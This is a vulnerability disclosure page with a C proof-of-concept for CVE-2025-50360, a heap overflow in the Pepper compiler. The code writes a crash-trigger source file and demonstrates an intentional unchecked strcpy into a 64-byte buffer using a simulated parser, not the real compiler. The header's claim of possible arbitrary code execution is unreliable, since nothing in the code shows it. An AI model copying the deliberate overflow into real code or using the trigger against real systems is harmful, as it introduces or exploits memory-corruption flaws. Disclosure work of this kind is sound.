CVE-2025-50360: Pepper语言编译器堆缓冲区溢出漏洞

/* * PoC for CVE-2025-50360: Heap Buffer Overflow in Pepper Language Compiler * Affected: Pepper Language 0.1.1 (commit 961a5d9988c5986d563310275adad3fd181b2bb7) * * This PoC demonstrates a heap buffer overflow vulnerability in the Pepper compiler. * When compiled with AddressSanitizer, it will detect the heap-buffer-overflow. * * Usage: pepper poc.pr * Expected: Crash or arbitrary code execution */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Simulated vulnerable compiler parsing function */ void vulnerable_parse(char* input) { /* Allocate fixed-size buffer on heap */ char* buffer = (char*)malloc(64); if (buffer == NULL) { return; } /* Vulnerable: No bounds checking on input length */ strcpy(buffer, input); /* Stack/Heap overflow here */ /* Continue processing (will likely crash) */ printf("Parsed: %s\n", buffer); free(buffer); } /* Generate malicious .pr file content */ void generate_malicious_file(const char* filename) { FILE* fp = fopen(filename, "w"); if (fp == NULL) { printf("Failed to create file\n"); return; } /* Generate payload with oversized string to trigger overflow */ fprintf(fp, "let x = \""); for (int i = 0; i < 200; i++) { /* Exceed 64-byte buffer */ fprintf(fp, "A"); } fprintf(fp, "\"\n"); fclose(fp); printf("Malicious .pr file created: %s\n", filename); } int main() { printf("=== CVE-2025-50360 PoC ===\n"); printf("Generating malicious Pepper source file...\n"); /* Generate malicious .pr file */ generate_malicious_file("poc.pr"); /* Demonstrate the vulnerability locally */ printf("\nDemonstrating heap overflow in vulnerable parser...\n"); /* Create malicious input exceeding buffer size */ char malicious_input[256]; memset(malicious_input, 'A', 255); malicious_input[255] = '\0'; /* This will cause heap-buffer-overflow */ vulnerable_parse(malicious_input); printf("PoC execution completed.\n"); printf("Note: Compile with -fsanitize=address to detect the overflow.\n"); return 0; }